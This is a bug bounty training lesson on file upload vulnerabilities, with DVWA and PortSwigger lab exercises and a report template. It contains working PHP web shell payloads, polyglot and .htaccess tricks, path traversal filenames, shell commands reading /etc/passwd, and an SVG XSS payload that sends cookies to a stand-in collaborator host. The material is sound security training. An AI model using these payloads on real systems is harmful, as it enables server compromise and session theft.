Course Progress
Day 12 of 60 — 20% Complete

Every web application that lets users upload files is asking one question: do I trust what just came in? Most applications try to answer that question with a file extension check, a MIME type header check, or a signature scan. Every one of those checks can be bypassed. File upload vulnerabilities are one of the most consistently rewarding bug classes in bug bounty — they can escalate from a minor misconfiguration to full Remote Code Execution on the server, earning payouts in the tens of thousands of dollars. Today you are going to learn every bypass technique from first principles, practise them in hands-on labs, and walk away knowing exactly how to find, confirm, and report file upload bugs professionally. Lets start our session on File Upload Vulnerabilities Bug Bounty.

🎯
After completing Day 12 you will be able to:
Explain every category of file upload vulnerability and their relative severity · Bypass extension, MIME type, magic bytes, and null byte upload filters · Upload a web shell to DVWA and execute remote commands · Find and exploit SVG-based stored XSS via file upload · Chain a file upload bug with path traversal for maximum impact · Write a complete Critical severity file upload report that gets paid

~24
min read

📊 DIFFICULTY CHECK
How much do you know about file upload vulnerabilities going in?



Why File Upload Bugs Are Among the Most Valuable in Bug Bounty

File upload functionality exists on almost every modern web application. Profile pictures, document attachments, import tools, media galleries, resume submissions, support ticket attachments — each one is an opportunity for a user to put data onto the server. And each one is an opportunity for an attacker to put code onto the server, disguised as data.

What makes file upload bugs particularly valuable in bug bounty is the potential impact ceiling. Most web vulnerabilities give you data access — you can read things you shouldn’t. A successful file upload exploit can give you code execution — you can run things on the server. Remote Code Execution (RCE) is the highest-severity finding in web application security. It earns Critical severity ratings and the largest payouts on every major programme.

Even when RCE is not achievable, file upload bugs can deliver stored XSS via SVG uploads, path traversal via filename manipulation, denial of service via oversized uploads, and information disclosure via uploaded files that the server processes incorrectly. Each of these has a place on a payout table. Understanding the full impact spectrum — and how to escalate a low-severity finding toward a higher one — is the skill that separates methodical hunters from lucky ones.

securityelites.com

FILE UPLOAD VULNERABILITY IMPACT SPECTRUM — FROM LOW TO CRITICAL
💀
Unrestricted File Upload → Web Shell → RCE
Upload PHP/ASP/JSP shell. Access via URL. Execute OS commands. Full server compromise. Lateral movement into internal network.
CRITICAL
$3K–$30K+

🔀
Path Traversal via Filename → Arbitrary File Write
Filename like ../../webroot/shell.php stores the file outside the upload directory in a web-accessible, executable location.
HIGH
$1K–$10K

📜
SVG Upload → Stored XSS
Upload SVG with embedded JavaScript. When other users view the image, the script runs in their browser session. Cookie theft, session hijacking possible.
MEDIUM–HIGH
$500–$3K

💾
Stored File Accessible Without Auth → Info Disclosure
Files uploaded by one user are accessible to all users or unauthenticated visitors via predictable URLs. Exposure of private documents, invoices, sensitive attachments.
LOW–MEDIUM
$100–$500

File Upload Vulnerability Impact Spectrum — from unrestricted upload enabling RCE at the top to information disclosure at the bottom. The same upload endpoint can yield different severity findings depending on what the server does with the uploaded file. Your job as a hunter is to find the upload, test all paths, and escalate to the highest achievable impact before reporting.

How Upload Defences Work — and Why Each One Fails

Before you can bypass a defence, you need to understand exactly what it checks — because the gap between what it checks and what it should check is precisely where you attack. There are four main defence layers that applications use to validate uploaded files. Understanding each one reveals its bypass.

securityelites.com

4 UPLOAD DEFENCES — WHAT EACH CHECKS AND HOW EACH FAILS
DEFENCE 1 — Extension Validation
Checks the file extension against an allowlist (.jpg, .png, .gif) or blocklist (.php, .asp). The most common — and most easily bypassed — defence.
WHY IT FAILS
Blocklists miss variants: .php3, .php5, .phtml, .shtml, .pht. Double extensions confuse some parsers: shell.php.jpg. Case variations bypass many checks: shell.PHP. Null bytes truncate: shell.php%00.jpg.

DEFENCE 2 — MIME Type (Content-Type Header)
Checks the Content-Type header sent by the browser: image/jpeg, image/png, application/pdf. Seems robust. It is entirely attacker-controlled.
WHY IT FAILS
The Content-Type header is set by the client and can be modified to anything with Burp Suite. Upload a PHP file with Content-Type: image/jpeg and many servers accept it without checking actual file contents.

DEFENCE 3 — Magic Bytes (File Signature)
Checks the first few bytes of the file content (not the extension or header). JPEG: FF D8 FF. PNG: 89 50 4E 47. More robust than MIME — but still bypassable.
WHY IT FAILS
Prepend valid JPEG magic bytes to a PHP payload. The signature check passes (first bytes look like JPEG). The file is stored. If served through PHP, the interpreter skips the JPEG header bytes and finds the PHP tags — and executes them.

DEFENCE 4 — Image Re-encoding
Most robust server-side defence. Server opens the image, re-renders it as a new image, and stores the re-rendered output. Any injected code in the original file is destroyed during re-rendering.
WHEN IT CAN STILL FAIL
If re-encoding is not applied consistently (e.g., only for thumbnails but not originals), or if the original file is also stored alongside the re-encoded version, injection may survive. Polyglot attacks on some image formats can survive specific re-encoding implementations.

4 Upload Defence Layers — what each validates and where each fails. The critical insight: defences 1, 2, and 3 all check different attributes of the same file. An attacker who understands all three can simultaneously satisfy all three checks while still uploading malicious content. Defence 4 (image re-encoding) is the only truly robust mitigation — but it requires consistent application and is computationally expensive, which is why many applications skip it.
💡 THE TESTER’S MENTAL MODEL — CHECK WHAT IS VALIDATED AND WHERE

When you find an upload endpoint, your first question is not “can I upload a PHP file?” — it is “what does this application check, at which point, in which order?” Is extension validation done client-side (JavaScript — trivially bypassed) or server-side? Does it use an allowlist (safer) or blocklist (bypassable)? Is MIME type checked independently of the extension? Is the file served from a domain or path where PHP executes? The answers map directly to which bypass technique to apply first.


The Complete Bypass Playbook — 6 Techniques with Real Payloads

Here is every bypass technique you need to know, with the exact payload or modification for each. Work through these systematically on every upload endpoint you test. Start simple and escalate — the first bypass that works tells you which defence is present and which others to try next.

securityelites.com

FILE UPLOAD BYPASS PLAYBOOK — 6 TECHNIQUES

TECHNIQUE 1 — Extension Variants (Blocklist Bypass)

When .php is blocked, try every PHP-executable extension the server might recognise:

shell.php3     # PHP 3 extension — still executes on many servers
shell.php4     # PHP 4 extension
shell.php5     # PHP 5 extension
shell.php7     # PHP 7 extension
shell.phtml    # PHP HTML — often missed by blocklists
shell.pht      # Shorter variant
shell.shtml    # Server-side include — can execute PHP on some configs
shell.PHP      # Case variation — bypasses case-sensitive blocklists
shell.PhP      # Mixed case

When to use: The server uses a blocklist of specific extensions. Test all variants systematically — most web application blocklists miss at least one.

TECHNIQUE 2 — Double Extension

Confuse the extension parser by adding multiple extensions. Some servers check only the last extension; others check the first:

shell.php.jpg  # Last extension .jpg (passes check), but server executes .php
shell.jpg.php  # Last extension .php — some servers execute last extension
shell.png.php5 # Combine with variant extension

When to use: Apache misconfiguration with AddHandler php /usr/bin/php5 — every file with .php anywhere in the name may execute PHP regardless of other extensions.

TECHNIQUE 3 — MIME Type Spoofing (Burp Suite)

Intercept the upload request in Burp Suite and modify the Content-Type header:

--- Original request ---
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/x-php

<?php system($_GET['cmd']); ?>

--- Modified in Burp ---
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg         # Changed to pass MIME check

<?php system($_GET['cmd']); ?>

When to use: Server rejects PHP by Content-Type. The filename stays as .php — only the header changes. If the server trusts the header without checking actual content, the PHP file is accepted and stored.

TECHNIQUE 4 — Magic Bytes Injection

Prepend JPEG magic bytes to a PHP payload. The server’s signature check sees a valid JPEG header. The PHP interpreter finds <?php tags and executes from there:

# Terminal: create magic bytes + PHP payload
printf '\xff\xd8\xff\xe0' > shell.php  # JPEG magic bytes
echo '<?php system($_GET["cmd"]); ?>' >> shell.php
# File starts with JPEG signature → passes magic byte check
# Contains PHP code → executes when served through PHP interpreter

# ExifTool method — inject into real image metadata
exiftool -Comment='<?php echo system($_GET["cmd"]); ?>' photo.jpg -o shell.jpg
# Real JPEG structure + PHP in EXIF comment
# Rename to .php after upload (via path traversal or direct)

When to use: Server performs magic bytes / file signature validation. Combine with MIME spoofing and extension bypass for maximum bypass coverage.

TECHNIQUE 5 — Null Byte Injection

In older PHP and some string-based filename processing, a null byte (%00) terminates the string. The extension check sees .jpg; the filesystem stores .php:

filename="shell.php%00.jpg"
# Extension validator reads: shell.php[NULL].jpg → sees .jpg → accepts
# PHP string processing stops at NULL: stores as shell.php
# NOTE: Patched in PHP 5.3.4+ but persists in legacy applications
# and some server-side languages/frameworks

When to use: Target appears to run legacy PHP (older application, no framework). Also try URL-encoded and raw null bytes in Burp.

TECHNIQUE 6 — Path Traversal in Filename

Manipulate the filename parameter to write the file to a different location on the server — potentially outside the uploads directory and into a web-accessible, PHP-executable path:

filename="../shell.php"              # One level up from uploads/
filename="../../shell.php"           # Two levels up
filename="../../webroot/shell.php"   # Try to reach web root
filename="%2e%2e%2fshell.php"        # URL-encoded traversal
filename="..%5cshell.php"            # Windows backslash variant

# Intercept in Burp and modify filename field in the multipart body
# If the file appears at a traversal path → HIGH severity finding

When to use: Application uses the original filename when storing. Combined with a PHP payload, writes a web shell to an executable path rather than the protected uploads directory.

File Upload Bypass Playbook — 6 techniques covering all four defence layers. In professional testing, apply all six systematically per upload endpoint. Techniques 1-2 target extension validation. Technique 3 targets MIME validation. Technique 4 targets magic bytes. Technique 5 targets string processing. Technique 6 targets filename handling. Combining multiple techniques (e.g., shell.php5 + Content-Type: image/jpeg + JPEG magic bytes) increases bypass success against layered defences.

⚡ QUICK CHECK — Section 2
You upload a file named shell.php and the server rejects it. You then upload the same file as shell.jpg with Content-Type: image/jpeg — the server accepts it. When you access the file URL, it downloads instead of executing. What does this tell you?




Web Shell Upload — From File to Remote Code Execution

A web shell is a file containing server-side code that, when accessed via HTTP, executes operating system commands. Once you have confirmed a filter bypass that allows PHP to execute, you need a minimal, safe payload that proves execution without creating a persistent backdoor. Here is the golden rule in bug bounty: use the minimum payload that proves the vulnerability, then delete it and document everything.

securityelites.com

WEB SHELL PAYLOADS — FROM MINIMAL POC TO FULL SHELL (AUTHORISED LABS ONLY)
✅ STEP 1 — MINIMAL POC (Use This in Bug Bounty)
# Filename: poc.php (or bypass variant)
<?php echo 'FILE_UPLOAD_VULNERABLE_PROOF'; ?>

# Access: https://target.com/uploads/poc.php
# Expected output: FILE_UPLOAD_VULNERABLE_PROOF
# This proves PHP execution WITHOUT providing a command interface

⚠️ STEP 2 — PHPINFO PoC (Acceptable in Bug Bounty with Care)
# Shows server info without executing OS commands
<?php phpinfo(); ?>
# Reveals PHP version, config, installed extensions
# Strong evidence of RCE potential — acceptable as PoC
# Delete immediately after capturing screenshot for report

🔴 STEP 3 — COMMAND EXECUTION (AUTHORISED LABS AND CTFs ONLY — NOT BUG BOUNTY)
# In DVWA, HackTheBox, TryHackMe only — NEVER on live targets
<?php system($_GET['cmd']); ?>

# Usage: https://target.com/uploads/shell.php?cmd=whoami
# Returns: www-data (or whatever user the web server runs as)
# From here: read files, escalate privileges, establish persistence

# Example commands via web shell URL:
?cmd=whoami              # Current user
?cmd=id                  # User ID and groups
?cmd=ls+-la+/var/www/    # List web root
?cmd=cat+/etc/passwd     # Read system users

⚠️ CRITICAL: USE MINIMAL PAYLOADS IN BUG BOUNTY — CLEAN UP AFTER YOURSELF
Never upload a full command execution shell to a live bug bounty target. Use echo or phpinfo() as your PoC. After documenting, delete the uploaded file. Most programme rules explicitly prohibit leaving backdoors — and a live web shell on a production server is a security incident in itself. The goal is to prove the vulnerability exists, not to exploit it. Step 1 (echo PoC) is sufficient for a Critical severity report in every major programme.

Web Shell Payload Progression — minimal PoC to full shell. In bug bounty, always use Step 1 or Step 2 only. The echo PoC proves PHP execution, which is all you need to report Critical severity. Phpinfo() adds server environment context. Step 3 command execution shells are exclusively for authorised lab environments — DVWA, HackTheBox, TryHackMe, and your own test server. Using command shells on live bug bounty targets violates programme rules and potentially the Computer Fraud and Abuse Act.

SVG XSS — The File Upload Bug That Bypasses PHP Filters Entirely

One of the most underrated file upload findings is stored XSS via SVG upload. Many applications carefully block PHP and other server-side script files — but then allow SVG files because they appear to be images. SVG (Scalable Vector Graphics) files are XML-based image formats. They are rendered as HTML by browsers. And HTML rendering means JavaScript execution.

An SVG file containing a script tag is a valid SVG image. When a browser renders it — not downloads it, but renders it inline in a page — any JavaScript in the SVG executes in the context of the origin serving the file. If that origin is the target application’s domain, the XSS has access to cookies, local storage, session tokens, and the full DOM of that origin. This turns an “image upload” feature into a stored XSS injection point.

securityelites.com

SVG XSS — PAYLOADS AND TESTING METHODOLOGY
BASIC SVG XSS PAYLOAD
# Save as: xss.svg
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert(document.domain)</script>
</svg>

# Confirms: JavaScript executes on target domain
# Escalate to: cookie theft (if HttpOnly not set)
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    fetch('https://your-collaborator.com/?c='+document.cookie)
  </script>
</svg>

TESTING WHEN EXECUTION REQUIRES USER VIEW
# Step 1: Upload SVG as profile picture or attachment
# Step 2: Find where the SVG is displayed to other users
# Step 3: Check: is it rendered inline (src= in img tag)?
#          or served as a file download?
#          or rendered in an iframe?

# If inline img src → XSS DOES NOT execute (img rendering, not HTML parsing)
# If direct URL renders SVG in browser → XSS EXECUTES
# If SVG is embedded in page HTML → XSS EXECUTES

# Key test: navigate to the direct URL of the uploaded SVG
# If browser renders SVG (not downloads it) → execute payload confirmed

SVG BYPASS VARIANTS (WHEN BASIC PAYLOAD IS BLOCKED)
# onload event handler instead of script tag
<svg onload="alert(1)"></svg>

# foreignObject to embed HTML
<svg><foreignObject><body xmlns="http://www.w3.org/1999/xhtml">
  <script>alert(1)</script>
</body></foreignObject></svg>

# Use expression in style attribute
<svg><animate onbegin="alert(1)" attributeName="x"></animate></svg>

SVG XSS Payloads and Testing — three levels from basic script tag through event handler and foreignObject variants. The critical distinction is how the SVG is served: an SVG in an img src tag does not execute JavaScript (images are not parsed as HTML). An SVG accessed via its direct URL and rendered as a document by the browser does execute JavaScript. Always test the direct URL access pattern. Also check: does the application serve uploaded SVGs with Content-Type: image/svg+xml (renders, executes) or Content-Type: image/jpeg (downloads, does not execute)?
💡 THE CONTENT-DISPOSITION HEADER — YOUR EVIDENCE SWITCH

When a server serves an uploaded file, two response headers determine whether it executes or downloads. Content-Type: image/svg+xml tells the browser to render the SVG, enabling XSS. Content-Disposition: attachment forces a download regardless of content type. Check both headers in Burp when accessing uploaded files. If SVGs are served without Content-Disposition: attachment, XSS is almost certainly exploitable if the SVG reaches the browser.


Chaining — How to Turn a Low-Severity Upload Bug into a Critical

File upload vulnerabilities are natural chaining targets. An upload bypass that allows arbitrary files to be stored, combined with a separate vulnerability that lets you determine or predict the stored path, combined with a directory traversal or SSRF that lets you trigger execution — each combination can escalate an individual finding from Low to Critical. This is where methodical bug hunters earn the highest payouts.

securityelites.com

FILE UPLOAD CHAINING — 4 ESCALATION PATHS
CHAIN 1 — Upload Bypass + .htaccess = RCE in Image Directory

Upload a .htaccess file with AddType application/x-httpd-php .jpg. Now every .jpg file in the uploads directory executes as PHP. Follow up by uploading a PHP payload with a .jpg extension — no extension bypass needed, the .htaccess handles execution. This works when .htaccess uploads are not blocked and Apache honours per-directory config. Impact: Critical RCE.

CHAIN 2 — Upload + SSRF = Internal Service Access

Application accepts XML or CSV files and processes them server-side (e.g., import functionality). Upload an XML file with an XXE payload, or a CSV with a formula injection targeting Google Sheets / Excel. The server fetches an external URL while processing the file. This is SSRF delivered via file upload — the upload is the injection vector, the SSRF is the impact. Also connects to Day 10’s SSRF methodology. Impact: High — internal network access, cloud metadata.

CHAIN 3 — SVG XSS + Open Redirect = Phishing via Trusted Domain

SVG XSS payload redirects victims from the trusted application domain to an attacker-controlled phishing page. Combines the Day 11 open redirect technique with SVG XSS. When the XSS runs on the trusted domain, any redirect it performs carries the trust of that domain. Impact: Medium-High — credential phishing with trusted-domain lure.

CHAIN 4 — Upload + Path Traversal + Predictable Path = Auth Bypass

Upload a file with a path traversal filename that overwrites a known configuration file or session file. If you can determine the session file path and the upload allows traversal, overwriting it with controlled content can allow session fixation or authentication bypass. Advanced — requires information disclosure to know the target path. Impact: High — session manipulation, auth bypass.

File Upload Chaining Paths — four escalation scenarios from .htaccess RCE to SSRF via file processing. Chain 1 (.htaccess) is the most reliable path to Critical when .htaccess uploads are not blocked. Chain 2 (XML/CSV SSRF) frequently appears in enterprise import features. Understanding these chains is what separates a $200 “unrestricted upload but no execution” finding from a $15,000 Critical RCE report.

Hands-On Lab — File Upload in DVWA (Full Walkthrough)

🛠️ Exercise 1 — Low Security: Basic Web Shell Upload in DVWA
⏱️ 15 minutes · DVWA required · Burp Suite Community · Authorised lab only
Setup: DVWA running at localhost, Burp Suite proxy configured, DVWA security set to Low.

Step 1: Navigate to DVWA → File Upload

Step 2: Create your PoC payload:
echo '<?php echo "DVWA_UPLOAD_CONFIRMED: " . phpversion(); ?>' > poc.php
Step 3: Browse to poc.php in the DVWA upload form and click Upload

Step 4: DVWA shows the upload path. Navigate to it:
http://localhost/dvwa/hackable/uploads/poc.php
Step 5: Confirm PHP version is printed — you have RCE. This is Low security — no filters. Take a screenshot showing the output.

Step 6: Change to a command execution shell for the lab only:
http://localhost/dvwa/hackable/uploads/poc.php?cmd=whoami

✅ Low security complete — you uploaded a web shell to DVWA and confirmed PHP execution. This is the unrestricted baseline. Every DVWA security level above this adds a validation layer you’ll need to bypass. Move to Medium security next.

🛠️ Exercise 2 — Medium Security: MIME Type Bypass in DVWA
⏱️ 15 minutes · DVWA security set to Medium · Burp Suite required
Medium security adds a MIME type check — the server now rejects Content-Type: application/x-php. You need to spoof it.

Step 1: Set DVWA security to Medium in DVWA settings

Step 2: Try uploading poc.php directly — observe the rejection message

Step 3: Turn on Burp Suite intercept. Upload poc.php again. Capture the request.

Step 4: In Burp, find the Content-Type header in the file upload part of the multipart body. Change it:
Content-Type: image/jpeg ← change from application/x-php
Step 5: Forward the modified request. Confirm the upload succeeds.

Step 6: Access the file and confirm PHP execution — same URL as Exercise 1.

What you learned: The MIME type header is client-controlled. Medium security trusts it without checking actual file content. Any Burp intercept makes this trivial.

✅ Medium security bypassed — MIME type spoofing via Burp Suite intercept. This is the single most commonly encountered filter in real bug bounty targets. In production applications, many developers add the MIME check thinking it is meaningful security. You now know it is not, and you know exactly how to bypass it in under 30 seconds with Burp.

🛠️ Exercise 3 — PortSwigger Lab: File Upload to Web Shell
⏱️ 20 minutes · Free · PortSwigger Academy · Burp Suite Community
PortSwigger’s file upload labs test every bypass technique in a dedicated lab environment.

Step 1: Go to portswigger.net/web-security/file-upload

Step 2: Work through these labs in order:
Lab 1: Remote code execution via web shell upload (basic)
Lab 2: Web shell upload via Content-Type restriction bypass
Lab 3: Web shell upload via path traversal
Lab 4: Web shell upload via extension blacklist bypass
Lab 5: Web shell upload via obfuscated file extension

Step 3: For each lab: read the objective, set up Burp proxy, attempt the bypass, confirm RCE via the lab’s success indicator

Step 4: After completing all 5, do Lab 6 (Polyglot web shell) — this one uses magic bytes + PHP payload in a real JPEG file

PortSwigger provides solutions if you get stuck — but try each for at least 15 minutes first. The struggle is where the learning happens.**

✅ PortSwigger file upload labs complete — you have now practised every core bypass technique against live lab environments. These labs are representative of real-world vulnerabilities. The techniques you used here are directly applicable to finding file upload bugs on actual bug bounty targets. Keep Burp open and your methodology sharp.

⚡ QUICK CHECK — Section 5
You successfully bypass a filter and upload a file named shell.jpg that contains PHP code with JPEG magic bytes prepended. You access the file at /uploads/shell.jpg — but the PHP doesn’t execute (file downloads instead). What is the most likely next step?




Writing the Report — Complete File Upload Bug Report Template

securityelites.com

FILE UPLOAD RCE — FULL BUG BOUNTY REPORT TEMPLATE
TITLE
Unrestricted File Upload via MIME Type Bypass Leads to Remote Code Execution
on [target.com] /upload/profile-image endpoint

SEVERITY: CRITICAL | CVSS: 9.8 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
Network-exploitable, low attack complexity, low privileges required,
no user interaction, scope changed (web server compromise), full CIA impact

DESCRIPTION
The profile image upload endpoint at POST /api/user/upload-avatar accepts
files based solely on the Content-Type HTTP header without validating actual
file content, extension, or execution environment. By intercepting the upload
request and changing Content-Type from application/x-php to image/jpeg while
maintaining a .php extension and PHP payload, an authenticated attacker can
upload server-side scripts that execute when accessed via the uploaded file URL.

STEPS TO REPRODUCE
1. Log in to target.com with a test account
2. Navigate to Profile → Upload Photo
3. Create file poc.php containing: <?php echo 'RCE_CONFIRMED'; ?>
4. Begin upload. Intercept request in Burp Suite.
5. Modify multipart body:
   Change: Content-Type: application/x-php
   To:     Content-Type: image/jpeg
6. Forward the modified request. Server responds: 200 OK
   {"success": true, "url": "/uploads/abc123/poc.php"}
7. Navigate to: https://target.com/uploads/abc123/poc.php
8. Browser renders: RCE_CONFIRMED
   [SCREENSHOT ATTACHED: poc_execution.png]

PHP version confirmed from phpinfo() upload: [version from screenshot]

IMPACT
An authenticated attacker can achieve Remote Code Execution on the web server,
enabling: (1) full server compromise and data exfiltration, (2) lateral movement
to internal network resources, (3) persistent backdoor installation surviving
application deployments, (4) supply chain attack against the application's users.
Scope change: attacker escapes web application sandbox to underlying server OS.

REMEDIATION
1. Validate file content server-side (magic bytes + image re-encoding)
   — do not trust client-supplied Content-Type header
2. Use an allowlist of safe extensions (.jpg, .png, .gif, .webp only)
3. Serve uploaded files from a separate domain with no PHP execution
4. Generate random filenames — do not use user-supplied filenames
5. Set Content-Disposition: attachment header when serving uploaded files
6. Store uploads outside the webroot where possible

Complete File Upload Bug Report — structured for maximum payout. The key elements: precise CVSS calculation (scope changed = C flag in CVSS = higher score), exact reproduction steps with Burp modification highlighted, evidence of execution (the echo output screenshot), and remediation that covers all six defensive layers. Programmes that receive reports at this quality pay at the top of their severity band. See the full bug bounty report writing guide for every report type.

⚡ FINAL QUIZ
You find an upload endpoint that accepts SVG files and serves them inline with Content-Type: image/svg+xml. You upload an SVG with a script tag that alerts the document.domain. The alert fires showing target.com. What severity do you report and why?



📋 Day 12 Commands Reference Card

# ── FILE UPLOAD BYPASS COMMANDS ────────────────────────────────

# Create magic bytes + PHP payload
printf '\xff\xd8\xff\xe0' > shell.php && echo '<?php system($_GET["cmd"]); ?>' >> shell.php

# ExifTool PHP injection into JPEG metadata
exiftool -Comment='<?php echo system($_GET["cmd"]); ?>' photo.jpg -o shell.jpg

# Check file magic bytes
xxd shell.php | head -2
file shell.php

# .htaccess payload for JPG execution
echo 'AddType application/x-httpd-php .jpg' > .htaccess

# Minimal PHP PoC for bug bounty
echo '<?php echo "UPLOAD_VULN_" . phpversion(); ?>' > poc.php

# SVG XSS payload
echo '<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>' > xss.svg

# Test file content type detection
curl -I https://target.com/uploads/shell.jpg | grep -i content-type

# URL-encoded path traversal filename (test in Burp)
# filename="..%2F..%2Fshell.php"
# filename="%2e%2e%2fshell.php"

# PHP extension variants to test
for ext in php php3 php4 php5 php7 phtml pht shtml; do echo "shell.$ext"; done

Completed Day 12? Mark it done and keep your streak.

Frequently Asked Questions — File Upload Vulnerabilities Bug Bounty

What is a file upload vulnerability?
A file upload vulnerability occurs when a web application accepts file uploads without properly validating type, content, or filename. This allows attackers to upload executable code disguised as legitimate files, potentially achieving RCE, stored XSS, path traversal, or information disclosure depending on how the server handles uploaded files.
What is a web shell?
A web shell is server-side code (PHP, ASP, JSP) that executes OS commands when accessed via HTTP. A minimal PHP web shell is — it accepts commands via URL parameter and returns their output. In bug bounty, use only echo PoC payloads, never full command shells on live targets.
What are the most common file upload bypass techniques?
Six main techniques: extension variants (.php3, .phtml), double extension (shell.php.jpg), MIME type spoofing (Content-Type: image/jpeg with PHP content), magic bytes injection (JPEG header prepended to PHP), null byte injection (shell.php%00.jpg), and path traversal in filename (../../shell.php). Each bypasses a different validation layer — use them systematically.
How much do file upload vulnerabilities pay in bug bounty?
Unrestricted upload leading to RCE pays $3,000–$30,000+ on major programs. SVG stored XSS pays $500–$3,000. Path traversal without execution pays $200–$1,000. Payouts depend on demonstrated impact — phpinfo() execution confirming RCE earns significantly more than a filter bypass without execution evidence.
How do SVG file uploads enable XSS?
SVG files are XML-based images that browsers render as HTML when served directly. If an SVG contains a script tag and the server serves it with Content-Type: image/svg+xml (without Content-Disposition: attachment), the browser executes the JavaScript in the SVG on the serving domain — enabling stored XSS via image upload, even when PHP and other server-side scripts are blocked.
What is a polyglot file in the context of file upload attacks?
A polyglot file is simultaneously valid in two file formats. A JPEG/PHP polyglot starts with valid JPEG magic bytes and structure (passing image validation) but also contains PHP code that executes when the file is served through a PHP interpreter. ExifTool can inject PHP payloads into real image EXIF metadata fields, creating files that pass most image validation checks while containing executable code.

ME
Mr Elite
Founder, SecurityElites.com | Ethical Hacker | Bug Bounty Trainer

File upload bugs taught me more about web security fundamentals than almost any other class of vulnerability. Every bypass technique reveals something about how trust is delegated between client and server — and how that delegation is consistently done wrong. The MIME type bypass is the one I see most often in real programmes. Developers add the Content-Type check thinking it is robust, because they are thinking from the perspective of a normal user’s browser, which never lies about what it is sending. The moment you add Burp between the browser and the server, every header is negotiable. That shift in mental model — from user to attacker — is what Day 12 is really teaching you.

LEAVE A REPLY

Please enter your comment!
Please enter your name here